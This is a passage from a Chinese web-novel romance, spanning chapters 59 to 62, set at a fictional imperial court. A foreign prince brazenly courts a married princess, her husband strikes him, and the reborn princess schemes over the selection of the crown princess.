然而她在马车旁站了约莫一盏茶的功夫,却迟迟不见谢昀的身影,眉宇间渐渐染上不耐。 他怎么回事, 磨磨蹭蹭的。她如此繁复的装扮都完成了,他一个大男人有什么可打扮的?难道也要涂脂抹粉不成? 就在她准备让侍女去催时, 府门内终于传来了脚步声。 姒华欢抬眸望去, 只见谢昀缓步走了出来。 今日的他未着往日习惯的深色衣袍, 而是却换上了一身月白色的云纹锦袍。他身形挺拔,肩宽腰窄,这浅淡的颜色非但不显寡淡,反而衬得他面容清俊, 眉目舒朗,清贵雅致。 姒华欢看着这样的他不由眼前一亮。 谢昀走到她面前, 对上她眼中一闪而过的惊艳, 唇角微扬,故意问道:“好看吗?” 姒华欢回过神来,立刻收敛了神色,故作平淡地移开目光:“……就那样吧。” 谢昀闻言挑了挑眉, 作势便要转身:“那我再去换一件。” “哎!”姒华欢伸手拉住他的衣袖,语速略快,“好看行了吧?快上马车,时辰不早了。” 谢昀这才停下动作,由她拉着,一同登上了宽敞华丽的马车。 马车缓缓驶向皇宫,两人相对而坐,姒华欢忍不住又偷偷打量了谢昀几眼,终究没忍住心中疑惑,开口问道:“你从前不是最爱穿深色吗?近来怎么全换成了浅色?” 谢昀看向她:“不是你说我总穿深色显得老气横秋吗?” 姒华欢一怔,用奇怪的眼神看他。 她说过吗? 仔细回想……好像之前是顺口这么说过一次,当时他不过“哼”了一声,并未答话。 他何时这般听她的话了? 马车行至宫门前停下。因着今日千秋宴来往人数众多,不能乘步辇,按规矩,他们须在此下车步行入宫。 谢昀先一步下车,然后回身自然而然地朝姒华欢伸出手。 姒华欢将手搭在他掌心借力下了车,两人并肩,随着熙熙攘攘的人流,向举行盛宴的麟德殿走去。 走着走着,姒华欢慢慢音乐察觉到身边传来一阵细碎而持续,“叮叮咣啷”的声音,不甚响亮,但在相对安静的宫道上显得有些突兀。 她侧耳细听,发现这声音竟源自谢昀身上,不由将目光投向谢昀腰间,这才注意到他今日佩戴的饰物确实不少。 除了羊脂白玉佩,玉带钩旁还系着一个镂空银香球,一个青玉瑞兽小挂件,甚至还有一串不知是何材质的浅碧色珠串。 随着他步履迈动,这些玉饰、银器、珠串相互轻轻碰撞,便发出了细碎而清脆的的声响。 姒华欢:“……” 走起路来好吵一男的。 他从前可不是这样的,怎今日像个行走的首饰架子? 姒华欢上下扫了谢昀几眼,欲言又止,最终还是把话咽了回去。 罢了,今日盛宴,随他怎么装扮吧。 麟德殿内早已布置妥当,金碧辉煌,灯火通明。 御座高高在上,其下按照品级和身份设满了席位,空气中弥漫着酒香果香,和各种香料混合的富裕气息。 各国使臣的席位被安排在显眼的位置,姒华欢目光不由自主地被形形色色的使团所吸引。 来自高句丽的使者带着高高的黑纱帽,穿着宽大的袍服;吐番的使者面色黝红,穿着厚重的皮毛衣物,发辫间缠绕着彩绳;还有皮肤黝黑的南洋岛国使者,带着黄金鼻环,眼神好奇地打量着四周。 西侧一队使团那些人亲生的高鼻深目,眼珠是罕见的琥珀色或湛蓝色,头发卷曲,穿着色彩鲜艳的紧身长袍,外罩刺绣精美的坎肩,与中原人士的面貌大相径庭。 其中一人尤为突出,那男子坐在使团首位,约末二十出头的年纪。 面容轮廓如同刀削斧凿,鼻梁高挺,唇线分明,一双深邃的碧眼如同最纯净的湖泊,顾盼间有一种特别的魅力。 他并未像其他人那样左顾右盼,只是安静地坐着,矜贵又傲然。 姒华欢一眼便认出来,他是前两日在街上偶遇的那位乌兰国王子——阿史那卡伊。 姒华欢不记得前世在此宴上见过他。 她对此宴印象很深刻,前世携使团前来的是大王子,一会儿,乌兰国便会提出,让他们的公主阿史那古丽与太子和亲。 她知道因为自己的重生改变了许多事情,可这根本影响不到远在千里之外的乌兰国,为何连这也变了? 许是她的目光停留过久,阿史那卡伊忽然转过头,精准地捕捉到了她的视线。 那双深邃的眼眸里带着一丝笑意,朝着她的方向微微颔首,算是打了个招呼。 姒华欢心头一跳,正欲离开目光,身边传来一声轻咳。 “咳。” 谢昀不知何时已倾身过来,手臂状似无意地越过案几,为她斟了一杯果酿,恰好挡住了她看向那边的视线。 他淡淡道:“殿内人多气浊,喝点饮子润润喉。” 姒华欢接过那杯色泽莹润的果酿,瞥了谢昀一眼,见他神色如常,正端起酒杯轻啜,仿佛刚才的小动作只是无意之举。 姒华欢抿了一口微甜的饮子,心里觉得有些好笑。 这人真是莫名其妙。 此时殿外传来内侍高昂的通传声:“陛下驾到——皇后娘娘驾到——” 殿内瞬间安静下来,所有人齐齐起身,躬身行礼。 嘉平帝与皇后身着最隆重的朝服,在宫人的簇拥下缓步登上玉阶,端坐于龙椅凤座之上。 “众卿平身,诸使免礼。今日朕之寿辰,能与万国同乐,实乃幸事。诸位不必拘礼,尽可开怀畅饮!” 众人再拜谢恩,方才各自归坐。丝竹管弦之声悠悠响起,舞姬们鱼贯而入,身着彩衣翩跹起舞。 盛大的千秋宴,正式开始。 接下来便是众国使臣依次上前献上贺礼与国书,过程冗长却秩序井然。 使臣们用或流利或生硬的汉语,表达着对天朝皇帝的敬意与祝福。 献上的贡品琳琅满目,有硕大莹润的东珠,洁白无瑕的玉璧,栩栩如生的珊瑚树,有罕见的奇珍异兽,更有许多叫不出名字的海外奇珍。 嘉平帝始终面带微笑,对每一国的贡品都略加点评,给予赏赐,彰显天朝气度。 当内侍唱喏到乌兰国使团献礼时,姒华欢精神微微一震。 终于要来了。 乌兰国,国力强盛,兵锋锐利,是唯一能在军事上与大越稍稍抗衡的国家。 近两年来,两国边境虽无大战,小摩擦却始终不断。此次乌兰王子携公主亲自前来朝贡,其意不止贺寿那么简单。 只见乌兰国使团席位上,阿史那卡伊站起,大步走到殿中,行了一个乌兰国礼,声音洪亮:“乌兰二王子阿史那卡伊,奉父王之命,恭祝大越皇帝陛下万寿无疆,国运昌隆。” 嘉平帝含笑点头:“王子远道而来,辛苦了,赐酒。” 内侍奉上御酒,阿史那卡伊接过一饮而尽,动作豪迈。 他放下酒杯并未立即退回座位,而是再次躬身,朗声道:“尊敬的大越皇帝陛下,我此次前来,除献上寿礼之外,还带来父王的一项重要提议,望陛下恩准。” 殿内顿时安静了几分,所有人都预感到,今日千秋宴的重头戏要来了。 嘉平帝神色不变,淡淡道:“哦?乌兰国王有何提议?但说无妨。” 阿史那卡伊直起身,目光扫过御座之下的太子席位。 “父王以为,大越与乌兰乃当世两大强国,边境偶有纷争实非两国百姓之福。为求边境永固,世代友好,父王愿将最珍爱的古丽公主,嫁与大越太子殿下,结秦晋之好,永息干戈。” 此言一出,满殿哗然。 虽然联姻是常见的政治手段,但由国力强盛的乌兰主动提出,将其公主嫁给大越太子,这意义截然不同。 这既是示好,也是一种无形的施压与试探。 若应下,乌兰公主成为未来国母,其影响力不容小觑。若不应,则难免有损乌兰颜面,恐边境生变。 嘉平帝目光深沉,看不出喜怒,皇后的脸色微微沉了下来。姒华容则显得有些无措,下意识抬头看向自己的父皇。 殿内群臣交头接耳,议论声嗡嗡作响。 阿史那卡伊似乎很满意自己造成的效果,他微微侧身向自家使团席位示意。 只见席间,一位女子缓缓站起身,步履从容地走到阿史那卡伊身边。 她穿着一身碧色的乌兰宫装,裙摆上绣着繁复华丽的花纹,头上戴着缀满各色宝石的头冠与额饰。 容貌不似中原女子的柔美,眉眼深邃,一双眼睛亮得惊人,极其锐利。 她站在那里没有丝毫怯懦,反而带着一种野性难驯的美,目光直直望向御座方向,一一扫过嘉平帝、皇后与太子。 这,便是乌兰的古丽公主。 阿史那卡伊的声音再次响起,带着明显的自豪:“皇帝陛下,这便是我的妹妹古丽,是我乌兰最耀眼的明珠,骑射技艺,不输男儿。父王愿以此珠换取两国百年和平,诚意拳拳,还望陛下成全!” 所有的目光,都聚焦在了嘉平帝身上,等待着他的决断。 第60章 “听闻公主喜好男色?”…… 唯有姒华欢一人, 不疾不徐地端起果酿啜了一口。 前世这亲和不成,这一世任凭换几个王子来都和不成。 嘉平帝的神色看起来高深莫测,他并未回应阿史那卡伊看似谦恭, 实则隐含逼迫的请求, 只是用那双阅尽世事的眼睛,平静地注视着下方的乌兰王子和公主。 终于, 嘉平帝缓缓开口:“乌兰国王有此美意, 愿以公主终身求两国百年之好, 朕心甚慰。” 他语调平稳, 听不出丝毫情绪,仿佛只是在陈述一件寻常小事。 然而嘉平帝的话并没说完,他略一停顿, 继续道:“只是以我大越礼制,太子妃人选须经严格遴选、考察, 其德言容功更要合乎宗法礼数, 非一日可决。” 这番话说的滴水不漏, 既没有直接拒绝,避免了当场打脸乌兰,又将决定权牢牢握在了自己手中,同时搬出了“礼制”这面大旗让人无从反驳。 阿史那卡伊脸上的笑容微微一僵, 显然没料到皇帝会如此应对。他张了张嘴,似乎还想说什么:“皇帝陛下……” “太子。”嘉平帝却不再看他, 转而望向姒华容, 语气温和,“乌兰公主远道而来,乃为贵客,你身为储君当好生招待, 让公主领略我中原风物之盛,礼仪之美。” 姒华容马上反应过来,连忙起身躬身应道:“儿臣遵旨。” 说完转向古丽公主:“公主殿下,若有闲暇,孤可派人迎公主游览京城,参观我大越风光。” 这一下并将和亲的议题轻飘飘转化为了招待宾客,阿史那卡伊显然并不满意这个回应,但在此等场合面对嘉平帝做出的裁定,他若再强行逼迫,便是施以挑衅了,只能生硬应下。 “……谢过太子殿下盛情。” 古丽公主自始至终都站在那里,神情未有太大变化。 即使听到嘉平帝婉拒的话语,她那双明亮的眼睛也没有流露出失望或兴奋的表情。反而在姒华容开口时目光直直落在他身上,带着毫不掩饰的打量。 殿内气氛稍稍松动,丝竹之声重新响起,舞姬再次翩跹入场。 交谈声虽然恢复,却压得更低,目光也时不时飘向乌兰使团的方向。 谢昀侧头看了姒华欢一眼,见她遇此大事,还一反常态地平心静气,问道:“你一点也不担心?” 姒华欢轻松道:“我相信父皇和哥哥。” 谢昀:“乌兰所图非小,此事不会就此作罢。” 这时,阿史那卡伊端着一杯酒离席,竟朝着姒华欢和谢昀这边的席位走了过来。 姒华欢心中微微一跳。 阿史那卡伊走到近前,对着姒华欢举杯,用还算流利的汉语说道:“康乐公主殿下,又见面了。久闻康乐公主殿下风采照人,果然一见便以令人心折。阿史那卡伊敬公主殿下一杯。” 他这话说得直接,却因他坦然的态度和王子的身份并不显得十分轻佻,更像是一种直率的赞美。 姒华欢能感受到来自四面八方的注视,微微颔首,客气道:“王子殿下过誉了。” 阿史那卡伊仿佛没听出她话中的距离感,向前微倾,身体目光更加灼热,声音也低了些:“并非过誉。公主殿下之美,如同我们草原上最烈的酒,最俊的马,最璀璨的明珠,让人一见便心向往之,难以忘怀。” 他这话已直白得不能再直白,周围听见动静的人不由瞪大了眼睛,纷纷竖起了耳朵。 姒华欢一惊,尚未想好如何回应,身旁已响起一个冷冷的声音:“二王子殿下。” 谢昀不知何时已站起身,与阿史那卡伊相对而立。他身形虽不似对方魁梧,但挺拔如松,那股自幼酝酿出的矜贵气度丝毫不落下风。 他手中也端着一杯酒,面色平静:“二王子殿下远来是客,我与公主夫妇二人理应敬殿下一杯。” 他特意加重了夫妇二字。 阿史那卡伊似是现在才注意到谢昀一般,转过头上下打量了他一番,嘴角勾起一抹似笑非笑的弧度:“这位便是驸马?” 谢昀只将酒杯往前一送:“二王子殿下,请。” 阿史那卡伊却并不举杯,他的目光重新回到姒华欢身上,笑容扩大,露出洁白的牙齿,说出口的话更是惊世骇俗: “一杯酒而已,何须驸马代劳。我是想单独敬公主一杯。在我们草原,最美的女人,值得最勇敢的勇士献上最真诚的赞美,至于驸马……” 他顿了顿,继续语不惊人死不休地说道:“我们乌兰人向来豁达,倾慕之心,发于情,止于礼,从不在意女子身边是否已有守护者。公主殿下若是在草原,定会有无数勇士为你倾倒,争相献上狼王之首作为聘礼。真正的雄鹰只会凭借自己的力量去争夺心仪的猎物。” 此言一出,不仅是谢昀,连周围隐约听得只言片语的大越臣子们都变了脸色。此人竟如此无理,简直是公然挑衅大于礼法,蔑视谢昀的存在! 从前早有所耳闻,乌兰国民风极其开放。 在乌兰国有一种特殊的婚制,叫收继婚,主要是弟弟娶嫂子、儿子娶母亲。 他们认为女人进入这个家族,便永远是这个家族的人,把女性当作家族的财产,不能流失,代代继承。 这个婚制在大越看来,极为不齿。 现在他们亲眼所见才知晓,原来乌兰国人不是开放,而是下作! 堂堂乌兰国王子竟敢在大越国宴上,明目张胆地表示要追求公主,且不在意公主已有驸马! 怎会有如此厚颜无耻之人! 姒华欢紧蹙眉头,正要斥责,谢昀却已上前半步,将她护在身后半个身位。 他周身的气息骤然变冷,眼中寒光凛冽,紧盯着阿史那卡伊:“二王子殿下,慎言。” “此处是大越皇宫,麟德殿上,陛下驾前。我朝礼法森严,公主金枝玉叶,尊卑有序,岂敢轻慢?王子殿下草原习性,或可不拘小节,但入乡随俗,基本的尊重,还望殿下谨记。” “公主是吾妻,是大越的公主,她的尊荣自有陛下天威、大越律法以及我这个做夫君的来维护。不劳殿下,亦不劳乌兰的勇士费心。” 他没有暴怒,没有失态,但那股凌厉迫人的威压,如同出鞘的利剑,刺向阿史那卡伊。 阿史那卡伊脸上的笑容稍淡了些,他眯起眼睛,如同盯上猎物的狼,与谢昀对峙着。 两人之间仿佛有无形的火花在噼啪作响,气氛剑拔弩张。 姒华欢正想站在谢昀身边一起骂这个无礼的家伙,旁边一个温和的声音插了进来:“看来乌兰王子殿下与明安侯相谈甚欢?” 旁边的晋王适时出声,打破了这僵持的局面。 阿史那卡伊深吸一口气,露出一个自信的笑容,举起手中的酒杯,对谢昀示意一下:“驸马好口才,小王受教了,这杯酒小王饮了。” 说罢仰头,将杯中酒一饮而尽,随即不再多言,转身大步,回了自己的席位。 谢昀看着他离去的背影,眸中寒意未散,将杯中酒随意倒在一旁的空碗中。 一场风波,看似暂时平息。 谢昀落座,执起玉箸,夹了一块姒华欢平日颇喜食的樱桃毕罗,放入她面前的玉碟中。 “你何时见过他?”谢昀问。 姒华欢答道:“前几日我去西市时,有人当街惊马,他出现拉了我一把,当时并无逾矩之处,谁知他今日这般……” 谢昀没有对她的回答说什么,只是在案几之下,宽大的衣袖遮掩中,悄然伸出手,握住了她的手。 “没事。”谢昀侧过头,轻轻捏了捏姒华欢的手,“交给我。” 没有更多的言语,只有这三个字和掌心传来的温度,姒华欢原本因阿史那卡伊的冒犯而烦躁的心,此刻渐渐安定了下来。 她轻轻“嗯”了一声,没有抽回手。 ***** 天气晴好,姒华欢刚走出府门,正准备登上马车,不知道哪里忽然传来了一个洪亮带着异域口音的声音:“美丽的公主殿下,这是要出门吗?” 姒华欢脚步一顿,循声望去。 只见府邸旁那株枝叶繁复的槐树下,阿史那卡伊正懒洋洋地倚靠着树干,双臂环胸,好整以暇地看着她。 他今日未穿那日宫宴上的正式礼服,着一身墨色窄袖胡服,更显得身形挺拔彪悍,碧色的眼眸在日光下闪烁着野性的光芒。 他怎么会在这里? 姚黄立刻上前一步,护在姒华欢身前,面露警惕。 姒华欢问道:“二王子?你在此处做什么?” 阿史那卡伊似是没听出她的排斥,放下手臂,大步流星走上前来,在距离她五六步的距离站定,笑容不减:“自然是等公主殿下。我一连在附近等了公主好几天,今日总算等到公主了。看来我的诚意连长生天都看见了。” “等我?”姒华欢简直要被他的理直气壮无语笑了,“二王子等我有何事?” “这还用问吗?”阿史那卡伊摊了摊手,神情坦然,目光灼灼地盯着她,“那日殿上,我说的不够明白吗?当然是追求公主啊。我们草原儿女,看中了,就要勇敢去追求。” 姒华欢被他这番言论震得一时失语:“二王子,本公主已有驸马,望你自重。” 阿史那卡伊嗤笑一声,浑不在意:“我说了我不介意。在我们草原,强大的勇士拥有选择任何女人的权利,而美丽的女人也值得拥有更多更强的勇士。一个驸马而已。” 姒华欢:“……” 她从未见过如此厚颜无耻,罔顾人伦礼法之人。 紧接着阿史那卡伊朝身后打了个手势,只见从他身后不远处的巷口,应声走出八名男子。 这些男子年纪皆在二十上下,身高、体貌、容貌各有千秋,或俊朗,或阴柔,或英武。 虽穿着寻常的中原服饰,但细看之下,眉眼深邃,似乎都带着些异族血统。 他们齐刷刷走到阿史那卡伊身后,对着姒华欢躬身行礼,动作整齐划一。 “公主殿下,”阿史那卡伊得意地一指这八人,献宝似的说道,“我听说了一些关于公主的传闻,听闻公主……嗯,喜好男色?” “这八个是我精挑细选出来的儿郎,个个身体强健,容貌上佳,能歌善舞者亦有之。今日便将他们献给公主,做面首也好,做奴仆也罢,但凭公主发落!” 轰隆—— 姒华欢只觉得一道天雷直直劈在自己头顶,呆立当场。 他不仅上赶着做狂童,竟然亲自又带了八个给她? 世上怎会有如此荒唐之事!?—— 作者有话说:小三带着小四小五小六……来了《 》 60-70 第61章 心甘情愿地把驸马休掉 为了两国邦交, 姒华欢强忍着当场发作的冲动,道:“二王子,请你自重, 带着你的人, 立刻离开。” 阿史那卡伊看着她气得绯红的脸颊,非但不恼, 反而觉得愈发娇艳动人。 他迟疑了一下, 露出一个恍然大悟的表情, 拍了拍自己的额头。 “哦, 我明白了。公主是不喜欢他们这些,嫌他们太过粗犷,不够文雅?” 他自顾自地点点头, 一副“包在我身上”的姿态爽快道:“确实中原女子或许更偏爱白面书生,或是世家子弟。无彷, 公主且稍待几日, 我再去为公主寻一些符合你们中原女子口味的美男子来, 保管让公主满意。” 姒华欢:“……” 她真的被雷到有些说不出话了。 她感觉自己一拳打在了棉花上,不,是打进了一团粘稠的浆糊里。 阿史那卡伊想听到什么?夸他慷慨大方吗? “我不需要。”姒华欢忍无可忍道,“二王子, 这里是京城,不是你可以肆意妄为的草原。你若再敢胡言乱语, 休怪我不客气。立刻带着你的人走。” 然而阿史那卡伊像是浑然不觉, 或者说他根本不在意,脸上依旧挂着那副让人火大的自信笑容: “公主何必动怒?我只是真心想让公主感受到我的好,我相信只要公主体会到我比那谢昀更懂得如何让人快乐,更符合你的喜好, 你自然会心甘情愿地把他休掉。反正……” 阿史那卡伊拖长了语调,冲姒华欢眨了一侧眼睛:“我打听过了,公主与驸马实际上也是关系不和,貌合神离不是吗?公主何必守着一段无趣的婚姻?” “看来二王子不仅眼神不好,耳朵也不甚灵光。” 姒华欢和阿史那卡伊同时转头,循声望去。 谢昀勒马停下,跳下马缓缓走来。 他面色沉静,眸色却幽深如同寒潭,目光缓缓扫过阿史那卡伊,最后落在姒华欢身上,见她无恙,冰寒之意才微不可察地缓和了一点。 阿史那卡伊见到谢昀,非但没有退缩,反而像是被激发了斗志,眼中燃起兴奋的光芒。 “原来是驸马。我与公主在商议要事,驸马还是回避的好。” “要事?”谢昀唇角勾起一抹讥诮的弧度,“在别人府邸门前纠缠他人之妻,献上些不入流的货色,这便是乌兰二王子的要事?真是让谢某大开眼界。” 阿史那卡伊气定神闲道:“男女之间讲究的是你情我愿,强扭的瓜不甜,驸马又何必执着?” 谢昀道:“二王子所言极是,强扭的瓜不甜,就如同草原上的秃鹫,觊觎着不属于自己的猎物盘旋不去。自以为志在必得,却不知在旁人眼中不过是徒惹厌烦,平添笑柄罢了。” “我大越礼仪之邦,公主金尊玉贵,她的意愿便是规矩,若有人不识趣,非要行这蛮横无理之事,以为凭借几声聒噪,便能如愿。那未免也太小瞧了我大越,也小瞧了谢某。” 阿史那卡伊脸上的笑容僵了一瞬,眼中戾气一闪而过,很快又恢复了那副泰然自若的模样。 “驸马好利的一张嘴,不过道理再大,也大不过人心所向。” 他目光在谢昀和姒华欢之间转了转,语出惊人:“也罢,驸马若实在不愿被公主休弃,舍不得这荣华富贵,那我退一步。你也可以加入我们,我阿史那卡伊心胸宽广,接受你。” 在场人不约而同都露出了有些呆滞的表情。 这话显然已超出了他们的认知范围。 姒华欢觉得自己的太阳穴在突突直跳。 阿史那卡伊的每一句话都像是一道惊雷,劈得她外焦里嫩,以至于她一时间竟找不到任何合适的言语来表达内心的荒谬。 谢昀瞬间变了脸色,眸中寒光毕现,额角青筋隐隐跳动。 阿史那卡伊却觉得自己提出了一个绝妙的主意,脸上笑容更加灿烂,甚至有一丝自豪感:“驸马不必羞恼,此时我们可以慢慢商议……” 他话没能说完。 因为谢昀动了。 动作快如闪电,没有丝毫犹豫,一拳砸在了阿史那卡伊脸上。 这一拳力道之大,毫无保留。 阿史那卡伊猝不及防,整个人被打得向后踉跄了好几步,险险稳住身形。 他嘴角破裂,渗出一缕血丝。 阿史那卡伊抬手,用拇指抹去嘴角的血迹,看见手指头那抹鲜红,他气笑了,舔了舔嘴唇,看向谢昀。 他何时受过这等气? 在乌兰,他阿史那卡伊是最受宠的王子之一,人人敬畏!今日竟挨了大越区区一个驸马一拳! “二王子,”谢昀站回姒华欢身边,整理了一下自己因动作而微乱的衣袖,“这一拳,是教你何为礼义廉耻。若再敢口出狂言冒犯公主,下次就不只是一拳了。” 阿史那卡伊却无视他要杀人的目光,转向姒华欢道:“公主殿下,你也看到了,你这驸马脾气暴躁,动不动就挥拳相向,实非良配。” “我还是觉得我更适合你,至少我懂得如何哄女人开心,绝不会对你动手。” 姒华欢深吸一口气,对他道:“现在,立刻,马上,带着你的人,消失在本公主面前!” 阿史那卡伊撇了撇嘴,似乎有些扫兴,摊摊手,无奈道:“好吧好吧,今日看来今日公主心情不佳,那我改日再来拜访。” 他竟然还能对姒华欢眨了眨眼,露出一个自以为迷人的笑容。 然后对着身后那八个看到目瞪口呆的美男挥了挥手,示意他们跟上,然后便转身迈着大步离开了。 谢昀站在原地,脸色阴沉得能滴出水来,紧抿着唇,盯着阿史那卡伊离开的方向。 他垂在身侧的手,指节因为刚才那一拳有些泛红。 姒华欢拉起他的手轻轻摩挲了一下,“没事吧?”她指的是他的手。 谢昀收回目光,看向她,眸中冰寒稍稍融化:“无事。” 他直接动手打一国王子,虽然解气,但终究是落了话柄,更涉及两国邦交。 “此人,无耻之尤!”姒华欢知道他顾虑什么,愤愤道,“你不必担心,打便打了。我这就进宫去找父皇,父皇定会为你撑腰!” 她的人,怎能任由外人欺辱! 谢昀终于眉目舒展,沾上点笑意,手轻轻抚上她的脸庞,“公主殿下为我撑腰,我该如何回报公主殿下呢?” 姒华欢眼珠一转:“要不……你也给我找八个面首?” 谢昀两根手指捏上她的脸蛋,轻轻掐着摇晃了几下:“想都别想。” “我赶回来是有急事与你说。”谢昀拉住她的手往府中走,“我们进去再说。” 一路穿过庭院回廊,直至进入主院花厅他才松开手,并顺手将房门掩上。 见此刻的谢昀脸上罕见出现了些许严肃的表情,姒华欢心头不由一紧, “到底是什么急事?”姒华欢问道。 能让谢昀如此神态,绝非小事。 谢昀转过身面对着她,沉声道:“方才在宫里,几位老臣向陛下谏言,他们请求陛下,务必在三日之内,定下太子妃人选。” 姒华欢一愣,前世并没有这一出。 “三日?为何如此仓促?” 这简直如同儿戏,太子妃人选关乎国本,岂能如此草率决定。 谢昀道:“他们说,乌兰国提出和亲,无论应允与否,都已将太子婚事推至风口浪尖。” “为稳固国本,杜绝乌兰乃至其他势力借此生事,必须尽快定下太子妃人选,安定东宫,才能彻底绝了乌兰的念想,也好让朝野上下安心,掌握主动,不被外人左右。” 这个理由让人难以反驳。 哥哥年岁见长,婚事本就备受关注,如今被乌兰这么一搅和,更是成了朝堂上亟待解决的重点问题。 一股不好的预感涌上姒华欢心头,她问道:“他们推荐了谁?是不是薛宝芝?” 薛家势大,薛宝芝的父亲是当朝右相,前任太傅,门生故旧遍布朝野。 其本人更是京城有名的才女,家世、才情、容貌,无一不是太子妃的绝佳人选。 她紧紧盯着谢昀的嘴唇,生怕从那里面吐出那个让她厌恶的名字。 谢昀摇了摇头:“没有,几位老臣并未具体推荐人选,只是联名上疏,陈明利害,请陛下圣心独断。务必在三日内,钦定太子妃。” 姒华欢如释重负,长长舒了一口气。 只要不是薛宝芝,是谁都行。 她的反应没逃过谢昀的眼睛,谢昀更觉疑惑。 姒华欢虽与薛家那位小姐不算亲近,但也谈不上有何深仇大恨。 何况上次在宫宴上薛宝芝还救过他一命,为何她会对薛宝芝如此排斥? “你为何如此厌恶薛宝芝?”他问道。 姒华欢:“我不是说过了,不喜欢就是不喜欢,哪有那么多理由?” 谢昀显然不相信她说的话,就这么定定地盯着她,大有一股今天她不说实话,就盯到底的势头。 姒华欢沉默了片刻,眼帘低垂,声音也低了下去:“我……做了一个梦。” 又是梦。 谢昀心中一跳。 “在梦里,我亲眼看见薛宝芝成为太子妃后,薛家是如何一步步干涉朝政,蚕食朝堂,如何利用外戚的身份结党营私,排除异己,步步紧逼。哥哥他……” 提到姒华容,她的脸上难掩心疼,“哥哥被他们架空,被那些层出不穷的阴谋阳谋、党争倾轧折磨地筋疲力尽、行销骨立……” 谢昀伸手握住姒华欢冰凉的手指,放柔了声音安抚道:“那只是梦。日有所思,夜有所梦,或许是你近来忧心乌兰和亲之事,加之对薛家权势本就有所忌惮,才会做这样的梦。” “不!”姒华欢眼神异常坚定,“那不只是个梦。哪怕只是个梦,哪怕只有万分之一的可能会成真,我也绝不允许!薛宝芝绝不能成为太子妃,我绝不能眼睁睁看着哥哥,看着大越陷入那样的境地。” 上一世她没有预知,也没有能力阻止这一切,这一世她提前预知,定会拼尽全力阻止这些的发生。 她的坚决超出了谢昀的预料,他从未见过姒华欢对一件事如此笃定,甚至不顾一切的态度。 谢昀目光深邃,紧紧锁住她的眼睛,仿佛要透过眼睛看出点什么。 他沉默片刻,换了一个问题:“你经常做这样的梦吗?” 姒华欢怔了怔,没料到他会问这个。 她眼中的激动稍稍平复,摇了摇头。 “不经常,只是偶尔。我也不知道什么时候就会梦到一些……片段。”她的话语有些含糊。 “那你梦到的这些片段中,有我吗?”—— 作者有话说:女鹅(目移):能播的还是不能播的? 第62章 “我确实梦到过你。”…… 姒华欢愣了一下, 快速思考了一瞬,目光下意识游移开:“没有。” 从小到大十几年,谢昀太了解她了。 她这欲盖弥彰的反应, 简直就是明晃晃的在告诉他“我在说谎”。 他心中那点紧张, 忽然就散了,取而代之的是一种悸动。 谢昀向前走近半步, 两人之间的距离瞬间缩短, 他身上凛冽的气息, 混合着淡淡的白兰香萦绕在姒华欢鼻尖。 他低下头, 目光灼灼地看着她躲闪的侧脸:“是梦到我做了什么不好的事,惹你生气了吗?所以你不肯告诉我?” 不知怎的,如此正常的话从他口中说出来, 似乎就变了味,周身的气氛也变得有些不一样。 姒华欢脑中本出现的前世之梦中, 忽然一个桃色画面将那些梦顶开, 倏地冒了出来在脑重演, 强行唤起她封存的记忆。 姒华欢咬了咬下唇,哼道:“你、你别瞎猜了,少自作多情。” 这话,这语气, 怎么听着竟有几分耳熟? 谢昀凝神细想,一时却想不起在何处听过类似的腔调。 所以姒华欢梦到他了, 而且很可能不是什么不好的事, 而是让她难以启齿,甚至有些羞愤的事。 他大概有些头绪了。 谢昀含笑,继续问道:“难道是,你对我, 做了什么不好的事吗?” 姒华欢感到耳根热起来,炸毛道:“谢昀!你的脑子里都在想什么!” “我在想什么?”谢昀声音又低了些,循循善诱,“嗯?说出来。” “你……你才梦到那些呢!” “嗯,我确实梦到过你。”谢昀道。 姒华欢被谢昀突如其来的坦诚吓了一跳,随即热度攀升至两颊,越烧越旺。 就说他是个大色胚吧! 姒华欢被他说得又羞又恼,气得狠狠踩了他一脚,提裙就往外走。 还有正事要做。她要回宫,务必阻止前世悲剧重演。 谢昀追上她,问:“你要去哪儿?” 姒华欢头也不回,甩给他两个字:“回宫!” 谢昀跟在身后重重叹了口气。 这小祖宗这般气冲冲回宫去,他又要挨陛下骂了。 姒华欢与谢昀一同入宫,欲在探探父皇的口风。 两人行至紫宸殿外,恰逢殿门开启,一位穿着官袍,气质清癯的中年官员缓步而出,正是当朝太史丞。 他见到姒华欢与谢昀,行礼后便步履从容地离开了。 内侍通传,二人整理衣冠,步入紫宸殿。 殿内,嘉平帝正端坐于御案之后,手指轻轻敲击着桌面,似在思索什么,见他们进来,抬起眼:“你们来了。刚才太史丞的话,你们在门外可听到了些许?” 姒华欢与谢昀行礼后,姒华欢说道:“父皇,方才太史丞所言何事?我们只在门外见到他出来,并未听闻具体。” 嘉平帝也不隐瞒,道:“太史丞观测天象,称紫微星旁有异动,关乎国本。他言道,太子需与一位命格特殊,能承载国运的女子成婚,方能保我大越江山永固,国运昌盛。” 姒华欢眉头微蹙。 前世,太史丞未曾在太子妃擢选之事上有过任何建言,此刻突然出现是巧合,还是因为她重生带来的变数? 谢昀问道:“陛下,太史丞可指明了是哪家贵女?” 皇帝摇了摇头:“他尚不能确定具体何人,须得将京城所有适龄待嫁贵女的生辰八字汇集于他,由他推演测算方能知晓。” 姒华欢心中冷笑,果然来了。 前世没有这一出,这世却凭空多了个命格之说,偏偏还是在选定太子妃的节点。 先是老臣联合上疏急选太子妃,马上太史丞便给出了预言。 这背后若无人推动,她绝不相信。 姒华欢面上不显,只是问道:“父皇,您真的相信太史丞此言?” 她深知父皇虽历经图治,在军政大事上杀伐果断,但在某些玄之又玄的事情上,却难免有些偏听偏信。 嘉平帝闻言,露出了一个老谋深算的表情:“朕已想出了个两全其美的法子!” 姒华欢心中微讶。本以为父皇是两日后被朝臣逼得无法,才想出那个选秀的主意,没想到此刻就已经有了打算。 只听嘉平帝继续说道:“朕已决定,让古丽公主,与太子妃擢选名册上的名门贵女们一同入宫‘考察’。” 姒华欢知道嘉平帝的用意。 古丽公主来自草原,擅骑射,性子直率,并不精通中原贵女必备的琴棋书画、诗词女红。 父皇特地设下考察四艺及女红的环节,是想不动声色地让古丽公主知难而退,或者至少让她无法凭借自身能力轻易胜出。 但是她清楚地记得,前世这场考察中,薛宝芝凭借过人的才情和精心准备,在诗词歌赋与琴艺书画上都表现得尤为突出。 几乎是以碾压之势,一举夺魁,风头无两,直接让嘉平帝和皇后立刻敲定了她的太子妃之位。 难道历史真的要重演? 不!绝不能! 突然,姒华欢脑中灵光一闪,冒出一个大胆的念头—— 如果这场选秀,薛宝钗根本无法参加呢? 薛宝钗不可能自己放弃这机会,只能自己“帮”她一把了。 